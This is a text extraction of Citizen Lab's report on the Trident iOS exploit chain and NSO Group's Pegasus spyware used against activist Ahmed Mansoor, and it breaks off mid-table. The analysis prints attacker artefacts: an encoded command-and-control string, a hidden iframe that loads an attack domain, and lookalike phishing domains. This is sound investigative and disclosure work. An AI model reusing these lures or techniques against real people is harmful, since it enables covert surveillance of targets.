The Trident Exploit Chain: CVE-2016-4657: Visiting a maliciously crafted website may lead to arbitrary code execution CVE-2016-4655: An application may be able to disclose kernel memory CVE-2016-4656: An application may be able to execute arbitrary code with kernel privileges Once we confirmed the presence of what appeared to be iOS zero-days, Citizen Lab and Lookout quickly initiated a responsible disclosure process by notifying Apple and sharing our findings.
Apple responded promptly, and notified us that they would be addressing the vulnerabilities.
We are releasing this report to coincide with the availability of the iOS 9.3.5 patch, which blocks the Trident exploit chain by closing the vulnerabilities that NSO Group appears to have exploited and sold to remotely compromise iPhones.
Recent Citizen Lab research has shown that many state-sponsored spyware campaigns against civil society groups and human rights defenders use  just enough technical sophistication, coupled with carefully planned deception.
This case demonstrates that not all threats follow this pattern.
The iPhone has a well-deserved reputation for security.
As the iPhone platform is tightly controlled by Apple, technically sophisticated exploits are often required to enable the remote installation and operation of iPhone monitoring tools.
These exploits are rare and expensive.
Firms that specialize in acquiring zero-days often pay handsomely for iPhone exploits.
One such firm, Zerodium, acquired an exploit chain similar to the Trident for one million dollars in November 2015.
The high cost of iPhone zero-days, the apparent use of NSO Groups government-exclusive Pegasus product, and prior known targeting of Mansoor by the UAE government provide indicators that point to the UAE government as the likely operator behind the targeting.
Remarkably, this case marks the third commercial lawful intercept spyware suite employed in attempts to compromise Mansoor.
In 2011, he was targeted with FinFishers FinSpy spyware, and in 2012 he was targeted with Hacking Teams Remote Control System.
Both Hacking Team and FinFisher have been the object of several years of revelations highlighting the misuse of spyware to compromise civil society groups, journalists, and human rights workers.
1/14 https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ http://www.nytimes.com/2016/08/26/technology/apple-software-vulnerability-ios-patch.html https://motherboard.vice.com/read/government-hackers-iphone-hacking-jailbreak-nso-group https://motherboard.vice.com/read/nso-group-new-big-player-in-government-spyware https://motherboard.vice.com/read/ahmed-mansoor-million-dollar-dissident-government-spyware http://motherboard.vice.com/read/apple-patches-safari-os-x-vulnerabilities-after-iphone-jailbreak-nso https://gizmodo.com/israeli-cyber-weapon-dealers-figured-out-how-to-hack-ev-1785747391 https://www.wired.com/2016/08/hacking-group-selling-ios-vulnerabilities-state-actors/ https://www.washingtonpost.com/news/the-switch/wp/2016/08/25/this-malware-sold-to-governments-helped-them-spy-on-iphones/ https://www.theguardian.com/world/2016/aug/26/israeli-firm-accused-of-creating-iphone-spyware?CMPtwt_gu http://www.zdnet.com/article/apple-releases-important-security-update-for-iphone-after-malware-found/ https://api.criticalmention.com/bits/wordplay//clipId23899375slim1partnerToken1a148bc0-f9d2-4780-b57f-45ad6ac0f8e2 http://video.ap.org/Apple-Boosts-iPhone-Security-After-Spyware-Find-31316240 http://mashable.com/2016/08/26/major-ios-hack-nso-group/XZNAPUep4Pqa https://foreignpolicy.com/2016/08/25/the-uae-spends-big-on-israeli-spyware-to-listen-in-on-a-dissident/ http://uk.reuters.com/article/us-apple-iphone-cyber-idUKKCN1102B1 https://cpj.org/blog/2016/08/journalists-should-stick-with-iphones.php http://qz.com/766892/iphone-update-9-3-5-is-key-to-keeping-hackers-from-hijacking-your-phone/ http://arstechnica.com/security/2016/08/actively-exploited-ios-flaws-that-hijack-iphones-likely-spread-for-years/ http://www.wsj.com/articles/firm-manipulated-iphone-software-to-allow-spying-report-says-1472149087 http://www.wsj.com/articles/apple-offers-security-fixes-for-mac-software-browser-1472768075?modrss_Technology http://www.bbc.com/news/technology-37185544 http://www.bbc.com/news/technology-37192670 http://www.independent.co.uk/life-style/gadgets-and-tech/features/iphone-bug-how-the-most-dramatic-ios-spyware-ever-found-was-revealed-a7211246.html https://techcrunch.com/2016/08/25/apple-zero-days-hacking/ http://www.cbc.ca/news/technology/iphone-spyware-1.3735815 http://www.cbc.ca/news/technology/security-flaws-cyberweapons-1.3742751?cmprss http://www.telegraph.co.uk/technology/2016/08/25/apple-issues-urgent-global-iphone-software-update-after-attempte/ http://www.businessinsider.com/nso-group-2016-8 http://www.businessinsider.com.au/apple-security-mac-osx-2016-9 http://www.aljazeera.com/news/2016/08/apple-issues-update-security-flaws-laid-bare-160826104606280.html http://www.scmp.com/tech/social-gadgets/article/2009493/apples-iphone-caught-spyware-storm-uae-activist-targeted http://www.scmagazine.com/trident-apple-vulnerabilities-used-in-pegasus-spyware/article/518555/ http://www.abc.net.au/news/2016-08-26/this-is-why-youre-going-to-want-to-update-your-iphone/7789032 http://thenextweb.com/apple/2016/08/26/apple-issues-critical-update-to-thwart-pegasus-malware/ https://www.rt.com/usa/357233-apple-security-israeli-spyware/ http://news.xinhuanet.com/english/2016-08/26/c_135635286.htm https://www.thejournal.ie/iphone-spyware-flaw-update-2948837-Aug2016/ http://www.theaustralian.com.au/business/technology/iphone-users-urged-to-update-to-ios-935-after-hack-threat/news-story/c1bf193d133071155e4b1593f9e2fc5b http://www.ibtimes.com/apple-ios-935-update-your-iphone-avoid-foreign-spyware-hacking-your-passwords-texts-2407321 https://www.buzzfeed.com/sheerafrenkel/your-iphone-is-super-vulnerable-to-being-hacked-so-update-it?utm_term.dvQ66YDWbA.gpr55KQZaP http://www.computerworld.com/article/3112844/security/apple-patches-ios-security-flaws-found-in-spyware-targeting-activist.html https://threatpost.com/emergency-ios-update-patches-zero-days-used-by-government-spyware/120158/ http://www.usatoday.com/story/tech/2016/08/25/apple-issues-security-update-prevent-iphone-spyware/89347242/ http://www.cnet.com/how-to/iphone-ios-security-update-malware/ http://www.ft.com/cms/s/0/9eee22f4-6b03-11e6-ae5b-a7cc5dd5a28c.html http://www.pcmag.com/news/347348/ios-update-prevents-snooping-via-remote-jailbreaks http://www.newsweek.com/iphone-update-securiy-apple-how-493784 http://www.huffingtonpost.co.uk/entry/what-is-the-pegasus-iphone-spyware-and-why-was-it-so-dangerous_uk_57c0043fe4b0ba22a4d3f930?irUKTechutm_hp_refuk-tech http://www.huffingtonpost.com/brian-dooley/apple-shaggy-and-hacks-in_b_11775986.html https://www.techdirt.com/articles/20160825/11111435346/apple-updates-ios-to-close-three-separate-0days-that-were-being-exploited.shtml https://www.engadget.com/2016/08/25/apple-iphone-security-flaw-update-activist-hack/ http://www.forbes.com/sites/amitchowdhry/2016/08/25/apple-ios-9-3-5-is-now-available-what-is-included-in-the-update/58027d5324dc http://www.dailydot.com/layer8/apple-ios-vulnerabilities-patch-spyware/ http://www.itworldcanada.com/article/apple-security-update-sparked-by-canadian-researchers/386053 http://globalnews.ca/news/2905394/new-iphone-security-threat-may-leave-your-personal-data-vulnerable-to-hackers/ http://www.bnn.ca/apple-fixes-security-flaw-after-uae-dissident-s-iphone-targeted-1.555597 http://www.itnews.com.au/blogentry/a-little-bit-of-paranoia-is-a-good-thing-435419?utm_sourcefeedutm_mediumrssutm_campaigniTnews http://techmoran.com/kenyan-politicians-iphone-gets-hacked-spyware-technology/ http://www.yourmiddleeast.com/news/iphone-spyware-spotlights-israels-secretive-surveillance-industry_42520 http://www.techrepublic.com/article/update-all-ios-devices-to-9-3-5-immediately-or-risk-a-remote-jailbreak/ http://www.macworld.com/article/3115624/os-x/apple-releases-security-updates-for-el-capitan-yosemite-and-safari.htmltk.rss_all http://www.bloomberg.com/news/articles/2016-09-01/deutsche-telekom-sells-app-that-would-have-detected-ios-spyware https://deibert.citizenlab.org/2016/08/disarming-a-cyber-mercenary-patching-apple-zero-days/ https://support.apple.com/en-us/HT201222 https://www.amnesty.org/en/latest/news/2015/10/ahmed-mansoor-selected-as-the-2015-laureate-martin-ennals-award-for-human-rights-defenders/ http://www.lemonde.fr/asie-pacifique/article/2008/11/24/le-combat-de-mutabar-tadjibaeva-survivante-des-geoles-de-tachkent_1122352_3216.html https://en.wikipedia.org/wiki/Zero-day_(computing) https://en.wikipedia.org/wiki/IOS_jailbreaking?
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name2016-4657 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name2016-4655 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name2016-4656 https://targetedthreats.net/ https://citizenlab.org/2016/08/group5-syria/ https://www.zerodium.com/ios9.html https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/ https://citizenlab.org/wp-content/uploads/2016/08/Mansoor-LI-Targeting-2.png https://citizenlab.org/wp-content/uploads/2016/08/image00.jpg https://citizenlab.org/wp-content/uploads/2016/08/image03.png https://citizenlab.org/wp-content/uploads/2016/08/image09.png Figure 1: Ahmed Mansoor, the Million Dollar Dissident.
The attack on Mansoor is further evidence that lawful intercept spyware has significant abuse potential, and that some governments cannot resist the temptation to use such tools against political opponents, journalists, and human rights defenders.
Our findings also highlight the continuing lack of effective human rights policies and due diligence at spyware companies, and the continuing lack of incentives to address abuses of lawful intercept spyware.
Our report proceeds as follows: Section 2 provides an overview of the attack against Ahmed Mansoor.
Section 3 details NSO Groups tradecraft, gleaned from what appears to be a copy of NSO Group documentation leaked in the Hacking Team emails.
Section 4 summarizes our technical analysis of the attack against Mansoor (in collaboration with Lookout).
Section 5 describes how we found what appears to be the NSO Groups mobile attack infrastructure while working on our previous Stealth Falcon report.
Section 6 links the spyware used in the attack on Mansoor to NSO Group.
Section 7 outlines evidence of other individuals targeted with the infrastructure that we linked to NSO Group, including Mexican journalist Rafael Cabrera.
Section 8 explains how the attack on Mansoor fits into the context of ongoing attacks on UAE dissidents.
Section 9 concludes the report.
2.
Ahmed Mansoor Targeted With iPhone Zero-Day Ahmed Mansoor is an internationally recognized human rights defender, blogger, and member of Human Rights Watchs advisory committee.
Mansoor, who is based in the UAE, was jailed for eight months in 2011 along with four other activists for supporting a pro-democracy petition.
After he was released, Mansoors passport was confiscated, his car was stolen, and 140,000 disappeared from his bank account.
Mansoor is banned from traveling overseas, and his work continues to attract significant harassment and punishment On the morning of August 10, 2016, Mansoor received an SMS text message that appeared suspicious.
The next day he received a second, similar text.
The messages promised new secrets about detainees tortured in UAE prisons, and contained a hyperlink to an unfamiliar website.
The messages arrived on Mansoors stock iPhone 6 running iOS 9.3.3.
2/14 https://citizenlab.org/2016/05/stealth-falcon/ https://www.amnesty.org/en/latest/news/2015/10/ahmed-mansoor-selected-as-the-2015-laureate-martin-ennals-award-for-human-rights-defenders/ https://www.hrw.org/news/2011/04/09/uae-government-detains-human-rights-defender https://www.hrw.org/news/2011/09/22/uae-free-activists-elections http://www.martinennalsaward.org/index.php?optioncom_contentviewarticleid2543Aahmed-mansoor-martin-ennals-award-2015-final-nomineecatid443ApressItemid152langen http://www.nytimes.com/2016/05/30/technology/governments-turn-to-commercial-spyware-to-intimidate-dissidents.html Figure 2: Ahmed Mansoor received suspicious text messages in August 2016.
Credit: Martin Ennals Foundation.
Mansoor quickly forwarded the messages to Citizen Lab researchers for investigation.
He has good reason to be concerned about unsolicited messages: every year since 2011, Mansoor has been targeted with spyware attacks, including with FinFisher spyware in 2011 and Hacking Team spyware in 2012 (see Section 8: Ahmed Mansoor and Previous UAE Attacks ).
Figure 3: SMS text messages received by Mansoor (English: New secrets about torture of Emiratis in state prisons).
The senders phone numbers are spoofed.
When Mansoors messages reached us, we recognized the links: the domain name webadv.co belongs to a network of domains that we believe to be part of an exploit infrastructure provided by the spyware company NSO Group (see Section 6: Linking NSO Group Products to the Attack on Mansoor).
We had first come across the NSO Group infrastructure during the course of our earlier research into Stealth Falcon, a UAE-based threat actor (see Section 5: Tracking a Mobile Attack Infrastructure).
When we first found the infrastructure and connected it to NSO Group, we hypothesized that operators of the NSO Group spyware would target a user by sending them an infection link containing one of the exploit infrastructure domain names.
Though we had previously found several public occurrences of links involving these domains on Twitter (see Section 7: Evidence of Other Targets), none of the links we found seemed to be active (i.e., none produced an infection when we tested them).
In other exploit infrastructures with which we are familiar (e.g., Hacking Teams exploit infrastructure), we had noted that operators prefer to deactivate such links after a single click, or after a short period of time, perhaps in order to prevent the disclosure of the exploit to security researchers.
We accessed the link Mansoor provided us on our own stock factory-reset iPhone 5 (Mansoor had an iPhone 6) with iOS 9.3.3 (the same version as Mansoor).
When we clicked the link, we saw that it was indeed active, and watched as unknown software was remotely implanted on our phone.
This suggested that the link contained a zero-day iPhone remote jailbreak: a chain of heretofore unknown exploits used to remotely circumvent iPhone security measures.
To verify our observations, we shared our findings with Lookout Security.
Both research teams determined that Mansoor was targeted with a zero-day iPhone remote jailbreak.
The chain of exploits, which we are calling the Trident, included the following (see Section 4: The Trident iOS Exploit Chain and Payload for more details): CVE-2016-4657: An exploit for WebKit, which allows execution of the initial shellcode CVE-2016-4655: A Kernel Address Space Layout Randomization (KASLR) bypass exploit to find the base address of the kernel CVE-2016-4656: 32 and 64 bit iOS kernel exploits that allow execution of code in the kernel, used to jailbreak the phone and allow software installation The implant installed by the Trident exploit chain would have turned Mansoors iPhone into a digital spy in his pocket.
The spyware, which appears to be NSOs Pegasus spyware solution, was capable of employing his iPhones camera and microphone to eavesdrop on activity in the vicinity of the device, recording his WhatsApp and Viber calls, logging messages sent in mobile chat apps, and tracking his movements.
3.
NSO Group and the Pegasus Solution The attack on Mansoor appears to have used Pegasus, a remote monitoring solution sold by NSO Group Technologies Ltd (see Section 6: Linking NSO Group Products to the Attack on Mansoor).
NSO Group, based in Herzelia, Israel (CR 514395409), develops and sells mobile phone surveillance software to governments around the world.
The company describes itself as a leader in mobile and cellular Cyber Warfare, and has been operating for more than six years since its founding in 2010.
NSO Group appears to be owned by a private equity firm with headquarters in San Francisco: Francisco Partners Management LLC, which reportedly acquired it in 2014 after approval from the Israeli Defense Ministry.
However, as of November 2015, Francisco Partners was reportedly exploring selling NSO Group, with a stated valuation of up to 1 billion.
Interestingly, Francisco Partners previously invested in Blue Coat, a company selling network filtering and monitoring solutions, whose technology has been used by repressive regimes according to previous Citizen Lab research.
3/14 https://citizenlab.org/wp-content/uploads/2016/08/image15.png https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/ https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/ https://citizenlab.org/wp-content/uploads/2016/08/image13.jpg https://citizenlab.org/2016/05/stealth-falcon/ https://wikileaks.org/hackingteam/emails/emailid/121783 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name2016-4657 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name2016-4655 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name2016-4656 http://www.haaretz.com/israel-news/business/1.574805 https://www.documentcloud.org/documents/815991-1276-nso-group-brochure-pegasus.html http://www.franciscopartners.com/ http://www.haaretz.com/israel-news/business/.premium-1.580721 http://www.reuters.com/article/us-nsogroup-m-a-idUSKCN0SR2JF20151103 http://www.franciscopartners.com/investments/blue-coat https://citizenlab.org/2013/07/planet-blue-coat-redux/ Figure 4: Image from an NSO Group brochure posted on SIBAT (The International Defense Cooperation Directorate of the Israel Ministry of Defense).
NSO Group has largely avoided the kind of high profile media attention that companies like Hacking Team and FinFisher have sometimes courted.
The company maintains no website, there is little concrete information about NSO Groups Pegasus product available online, and we know of no prior technical analysis of NSO Groups products or infrastructure.
Some previous media reports have linked NSO Group and Pegasus to a scandal involving potential illegal eavesdropping in Panama, and possible sales to Mexico.
Other reports have suggested that NSO Groups activities have aroused concern within the United States intelligence community .
Two of NSO Groups three co-founders, Shalev Hulio and Omri Lavie, are also co-founders of mobile security company Kaymera, which promises a Multi Layered Cyber Defense Approach to clients.
On Kaymeras website, the company reprints a Bloomberg article pointing out that they play both sides of the cyber wars.
The article also quotes NSO Groups CEO, who suggests that they entered the defense business when potential clients saw the capabilities of NSO Groups tools.
Figure 5: Kaymeras website promises comprehensive mobile security 3.1.
Pegasus Documents in Hacking Team Leak Much of the publicly available information about Pegasus seems to be rumor, conjecture, or unverifiable claims made to media  about capabilities.
However, when we examined the Hacking Team emails leaked online after a 2015 breach, we found several instances of Hacking Team clients or resellers sharing what appeared to be NSO Groups product documentation and sales pitches.
For instance, in December 2014, a reseller of surveillance technologies to the Mexican government forwarded a PDF document containing detailed technical specifications of NSO Groups Pegasus system to Hacking Team.
According to the documents metadata, it appears to have been created in December 2013 by Guy Molho, who is listed on LinkedIn as the Director of Product Management at NSO Group.
3.2.
Device Infection According to the purported 2013 NSO Group Pegasus documentation found in the Hacking Team materials, NSO Group offers two remote installation vectors for spyware onto a targets device: a zero-click vector, and a one-click vector.
The one-click vector involves sending the target a normal SMS text message with a link to a malicious website.
The malicious website contains an exploit for the web browser on the targets device, and any other required exploits to implant the spyware.
In the attack against Mansoor, the Trident exploit chain was used.
To use NSO Groups zero-click vector, an operator instead sends the same link via a special type of SMS message, like a WAP Push Service Loading (SL) message.
A WAP Push SL message causes a phone to automatically open a link in a web browser instance, eliminating the need for a user to click on the link to become infected.
Many newer models of phones have started ignoring or restricting WAP Push messages.
Mobile network providers may also decide to block these messages.
4/14 https://citizenlab.org/wp-content/uploads/2016/08/image17.png https://web.archive.org/web/20120813064018/http://www.sibat.mod.gov.il/NR/rdonlyres/DADE8D1E-DFAA-4143-BB48-A73C77C88CBA/0/NSOGROUPE.pdf http://foreignpolicy.com/2016/01/22/the-espionage-econom http://impresa.prensa.com/panorama/Virzi-ligado-compra-equipo-Pegasus_0_4267073341.html https://privacyinternational.org/sites/default/files/global_surveillance.pdf http://blogs.wsj.com/digits/2014/08/01/can-this-israeli-startup-hack-your-phone/ https://www.kaymera.com/httpwww-bloomberg-comnews2014-09-29israeli-entrepreneurs-play-both-sides-of-the-cyber-wars-html/ https://citizenlab.org/wp-content/uploads/2016/08/image01.jpg http://blogs.wsj.com/digits/2014/08/01/can-this-israeli-startup-hack-your-phone/ https://wikileaks.org/hackingteam/emails/ https://wikileaks.org/hackingteam/emails/emailid/5391 https://www.linkedin.com/in/guymolho https://www.silentservices.de/security-advisory-samsung-leaves-its-android-smartphones-with-wap-push-feature-open-to-attacks-one-sms-to-rule-them-all/ Figure 6: Diagram from purported NSO Group Pegasus documentation showing the sequence through which the spyware (Agent) is installed on a targets mobile device.
Source: Hacking Team Emails.
The documentation refers to a malicious website employed in installation of the spyware (Agent) as an Anonymizer, which communicates with a Pegasus Installation Server  located on the operators premises.
When a target visits a malicious link from their device, the Anonymizer forwards the request to the Pegasus Installation Server, which examines the target devices User-Agent header to determine if Pegasus has an exploit chain, such as the Trident, that supports the device.
If the device is supported, the Pegasus Installation Server returns the appropriate exploit to the target device through the Anonymizer and attempts an infection.
If infection fails for any reason, the targets web browser will redirect to a legitimate website specified by the Pegasus operator, in order to avoid arousing the targets suspicion.
In the operation targeting Mansoor, the one-click vector was used, with anonymizer sms.webadv.co (see Section 4: The Trident iOS Exploit Chain and Payload for more details).
3.3.
Data Collection According to the purported NSO Group documentation, once successfully implanted on a phone using an exploit chain like the Trident, Pegasus can actively record or passively gather a variety of different data about the device.
By giving full access to the phones files, messages, microphone and video camera, the operator is able to turn the device into a silent digital spy in the targets pocket.
Figure 7: Diagram from purported NSO Group Pegasus documentation showing the range of information gathered from a device infected with Pegasus.
Source: Hacking Team Emails.
In the spyware used in targeting Mansoor, we confirmed many elements of this functionality, and observed indications that the collection of the following types of data was supported, among others (see Section 4.2: The Payload  for more details): Calls made by phone, WhatsApp and Viber, SMS messages, as well as messages and other data from popular apps like Gmail, WhatsApp, Skype, Facebook, KakaoTalk, Telegram, and others, A wide range of personal data, such as calendar data and contact lists, as well as passwords, including Wi-Fi passwords.
3.4.
Exfiltration According to the purported NSO Group documentation, an infected device transmits collected information back to a Pegasus Data Server at the operators premises, via the PATN (Pegasus Anonymizing Transmission Network).
The PATN appears to be a proxy chain system similar to Hacking Teams anonymizers and FinFishers relays.
The chain is intended to obfuscate the identity of the government client associated with a particular operation.
Once the collected information arrives on the Pegasus Data Server, an operator may visualize the information on a Pegasus Working Station.
5/14 https://citizenlab.org/wp-content/uploads/2016/08/image16.png https://wikileaks.org/hackingteam/emails/emailid/5391 https://en.wikipedia.org/wiki/User_agent https://citizenlab.org/wp-content/uploads/2016/08/image10.png https://wikileaks.org/hackingteam/emails/emailid/5391 https://citizenlab.org/2014/02/mapping-hacking-teams-untraceable-spyware/ https://citizenlab.org/2015/10/mapping-finfishers-continuing-proliferation/ Figure 8: A purported screenshot of NSO Groups Pegasus Working Station software, which visualizes location data collected from infected devices (as of March 2012).
Source: Hacking Team Emails.
The implant in the attack targeting Mansoor communicated with two PATN nodes: aalaan.tv and manoraonline.net.
The first of these, aalaan.tv, appears to be a lookalike domain for the legitimate alaan.tv, a Gulf-based satellite television channel (see Section 5.2 for more details on lookalike domains observed in apparent NSO Group infrastructure).
3.5.
Prioritizing Stealth One interesting design decision of NSO Groups Pegasus system, according to the purported NSO Group documentation, is that it emphasizes stealth above almost all else.
As the documentation states: In general, we understand that it is more important that the source will not be exposed and the target will suspect nothing than keeping the agent alive and working.
Certain Pegasus features are only enabled when the device is idle and the screen is off, such as environmental sound recording (hot mic) and photo taking.
The documentation also states that the spyware implements a self-destruct mechanism, which may be activated automatically in cases where a great probability of exposing the agent exists.
However, the documentation claims that sometimes Pegasus removal can result in an infected device rebooting immediately after removal.
4.
The Trident iOS Exploit Chain and Payload In this section, we describe our technical analysis of the attack on Mansoor, including the Trident iOS Exploit chain and payload.
Given the accelerated timeframe of this case, we are publishing the results of a preliminary analysis.
Recall that the investigation that led to the discovery of the Trident exploit chain began when UAE human rights activist Ahmed Mansoor forwarded to Citizen Lab two suspicious links that he received via SMS on his iPhone (Section 2).
Suspecting the links to be iPhone spyware associated with NSO Group ( Section 6), we accessed them from our own stock factory-reset iPhone 5 running iOS 9.3.3.
Mansoors device is an iPhone 6, running iOS 9.3.3 we did not have an iPhone 6 available for testing.
Although the latest iOS version when Mansoor received the links was 9.3.4, this version had been released only one week beforehand.
We accessed the links by opening Safari on our iPhone, and manually transcribing the links from the screenshots that Mansoor sent.
After about ten seconds of navigating to the URL, which displayed a blank page, the Safari window closed, and we observed no further visual activity on the iPhones screen.
Meanwhile, we saw that the phone was served what appeared to be a Safari exploit, followed by intermediate files (final111), and a final payload ( test111.tar).
The first two payloads form the Trident exploit chain, and test111.tar is the payload.
6/14 https://citizenlab.org/wp-content/uploads/2016/08/image07.png https://wikileaks.org/hackingteam/emails/emailid/5391 http://www.alaan.tv/ https://support.apple.com/en-us/HT207026 Figure 9: Requests from our phone to sms.webadv.co as we clicked on the malicious link.
The first request is our click on the link.
The requests for ntf_bed.html, ntf_brc.html, and test111.tar are conducted by a stage2 binary (in final111).
All previous requests are conducted by Safari.
Suspecting what we had observed to be the work of a zero-day iPhone remote jailbreak, we shared the exploit and payloads with colleagues at Lookout Security, initiated a responsible disclosure process with Apple, and sent Apple the exploit and payloads.
4.1.
The Trident Exploit Chain This section provides a high-level overview of the Trident exploit chain used in the attack against Mansoor.
For further details, see Lookouts report.
When a user opens the links sent to Mansoor on an iPhone, a stage1 containing obfuscated JavaScript is downloaded.
The JavaScript downloads (via XMLHttpRequest) stage2 binaries for either 32-bit (iPhone 5 and earlier) or 64-bit (iPhone 5s and later), depending on the type of device.
The stage1 employs a previously undocumented memory corruption vulnerability in WebKit to execute this code within the context of the Safari browser (CVE-2016-4657).
The stage2 exploits a function that returns a kernel memory address, from which the base address of the kernel can be mapped (CVE-2016-4655).
The stage2 then employs a memory corruption vulnerability in the kernel (CVE-2016-4656).
This last vulnerability is employed to disable code signing enforcement, allowing the running of unsigned binaries.
The stage2 downloads and installs the stage3, which is the spyware payload.
4.2.
The Payload This section provides a high-level overview of the functionality of the spyware payload.
For more details, see Lookouts report.
4.2.1.
Persistence The Trident is re-run locally on the phone at each boot, using the JavaScriptCore binary.
To facilitate persistence, the spyware disables Apples automatic updates, and detects and removes other jailbreaks.
4.2.2.
Recording The attack payload includes a renamed copy of Cydia Substrate, a third-party app developer framework, which it uses to help facilitate recording of messages and phone calls from targeted apps.
To record WhatsApp and Viber calls, the spyware injects WhatsApp and Viber using the Cydia Substrate, hooks various call status methods, and sends system-wide notifications when call events occur the spyware listens for these notifications and starts or stops recording as appropriate.
It appears that the payload can spy on apps including: iMessage, Gmail, Viber, Facebook, WhatsApp, Telegram, Skype, Line, KakaoTalk, WeChat, Surespot, Imo.im, Mail.
Ru, Tango, VK, and Odnoklassniki.
The spyware also exfiltrates calendar and contact data, as well as passwords saved in the phones keychain, including Wi-Fi passwords and networks.
4.2.3.
Exfiltration The attack payload beacons back to command and control (C2) servers delivered in stage2 of the Trident, via HTTPS.
One of the binaries in the stage2 of the link sent to Mansoor contained the following string: WW91ciBHb29nbGUgdmVyaWZpY2F0aW9uIGNvZGUgaXM6NTY3ODQyOQpodHRwOi8vZ21haWwuY29tLz96PUZFY0NBQT09Jmk9TVRwaFlXeGhZVzR1ZEhZNk5EUXpMREU2YldGdWIzSmhiMjVzYVc1bExtNWxkRG8wTkRNPSZzPXpwdnpQU1lTNjc0PQ The Base64 string decodes to: Your Google verification code is:5678429 http://gmail.com/?zFEcCAAiMTphYWxhYW4udHY6NDQzLDE6bWFub3Jhb25saW5lLm5ldDo0NDMszpvzPSYS674 This appears designed to look like a text message from Google containing a two-factor authentication code, though legitimate Google messages of this type do not contain a link, and contain one fewer digit in the verification code.
Base64-decoding the i parameter of the URL yields: 1:aalaan.tv:443,1:manoraonline.net:443 7/14 https://citizenlab.org/wp-content/uploads/2016/08/image14.png https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf http://www.cydiasubstrate.com/ These are the C2 servers for the spyware sent to Mansoor: aalaan.tv and manoraonline.net.
A similar obfuscation appears to be used for exchange of information over SMS between an infected phone and the C2 Server.
In case the spywares C2 servers are disabled or unreachable, an operator may deliver updated C2 servers to an infection using this type of SMS, similar to FinFishers emergency configuration update functionality.
5.
Tracking a Mobile Attack Infrastructure This section explains how we first identified what appeared to be a mobile attack infrastructure while tracking Stealth Falcon.
We then outline some basic observations about the infrastructure, including themes in the domain names used by the attackers.
We link the infrastructure we found to NSO Group in Section 6.
5.1.
Stealth Falcon Leads Us to a Mobile Attack Infrastructure A year or so before Ahmed Mansoor received his suspicious SMS messages, we were tracking Stealth Falcon, a threat actor targeting individuals critical of the UAE government at home and abroad, several of whom were later arrested.
For full details on Stealth Falcon, read our May 2016 report.
In the course of our investigation, we traced Stealth Falcons spyware to dozens of different command and control (C2) domains.
One server that matched our C2 fingerprint for Stealth Falcons custom spyware, icloudcacher.com, was connected to the email address pn1g3psigaint.org, according to data in its DNS SOA record.
The same email address appeared in WHOIS records for the following three domains: asrarrarabiya.com asrararabiya.co asrararablya.com These domains did not match our Stealth Falcon fingerprint.
As we examined the domains, however, we found that the index page on these domains contained an iframe pointing to the website asrararabiya.com (Asrar Arabiya, or Arabian Secrets in English), which appears to be a benign website that takes a critical view of the Arab Worlds dictatorships.
The index page also contained a nearly invisible iframe pointing to an odd looking site, smser.net.
iframe srchttps://smser.net/9918216t/ width1 height1 border0/iframe iframe srchttp://asrararabiya.com/ stylewidth:100 height:1200px position:absolute top:-5px left:-5px border0 /iframe Figure 10: HTML content of the index page on the three fake Asrar Arabiya domains.
We suspect that the three domains we identified were attempting to mislead users into believing they were visiting the legitimate asrararabiya.com website.
Since we had linked the operation to Stealth Falcon, we suspected that the additional domain, smser.net, might be an attack domain.
We visited the URL in the iframe, https://smser.net/9918216t/, and were redirected to https://smser.net/redirect.aspx.
htmlheadmeta http-equivrefresh content0urlhttp://www.google.com /meta http-equivrefresh content1urlhttp://www.google.com /title/title/headbody/body/html Figure 11: HTML content of https://smser.net/redirect.aspx.
The page tells the web browser to redirect the visitor to Google.
We devised a number of fingerprints for various behaviors of smser.net, checked Shodan and Censys, and conducted our own scanning with zmap to identify related servers.
We found 237 live IP addresses, and extracted their domain names from the SSL certificates returned by the each server.
The SSL certificates we found included .webadv.co, manoraonline.net, and aalaan.tv, the three domains in the spyware attack sent to Mansoor.
We linked these IPs and domain names to what appears to be NSO Group exploit infrastructure.
5.2.
Coding the Domain Names We coded the domain names we found, and identified several common themes, perhaps indicating the type of bait content that targets would receive.
Interestingly, the most common theme among the domains we identified was News Media, perhaps indicating the use of fake news articles to trick targets into clicking on spyware links.
An example of one such attack in action is the targeting of Mexican journalist Rafael Cabrera (Section 7.1).
We also noted the prevalence of themes we had seen in other spearphishing attacks, e.g., online accounts, document sharing, shipment tracking, corporate account portals.
Another common theme was ISPs, perhaps because a target may trust an SMS appearing to come from an ISP or Telco they subscribe to.
8/14 https://citizenlab.org/2012/08/the-smartphone-who-loved-me-finfisher-goes-mobile/ https://citizenlab.org/2016/05/stealth-falcon/ https://citizenlab.org/2016/05/stealth-falcon/ http://asrararabiya.com/D985D986-D986D8ADD986/ https://www.shodan.io/ https://censys.io/ https://zmap.io/ Figure 12: Most commonly recurring domain name themes.
Alarmingly, some of the names suggested a willingness on the part of the operators to impersonate governments and international organizations.
For example, we found two domain names that appear intended to masquerade as an official site of the International Committee of the Red Cross (ICRC):  icrcworld.com and redcrossworld.com.
We also identified the domain topcontactco.com which may be a lookalike for tpcontact.co.uk, a website belonging to Teleperformance, a company that has managed UK visa application processing in many countries.
Figure 13: Screenshot from an article published by the UK Government on how to apply for a visa.
Visa applicants are required to visit the legitimate tpcontact.co.uk website as part of the online visa application process.
We found similar evidence of government-themed sites hinting at Mexico and Kenya.
The following table provides further examples of themes found in the domain names.
Type Example Impersonating News Media alljazeera.co bbc-africa.com cnn-africa.co unonoticias.net univision.click Aljazeera BBC CNN Las Ultimas Noticias Univision Shipment Tracking track-your-fedex-package.org FedEx ISP / Telco mz-vodacom.info iusacell-movil.
com.mx sabafon.info newtarrifs.net Vodacom (Mozambique) Iusacell (Mexico) Sabafon (Yemen) Generic Popular Online Platforms y0utube.com.mx fb-accounts.com googleplay-store.com whatsapp-app.com YouTube Facebook Google WhatsApp Account Info.
(
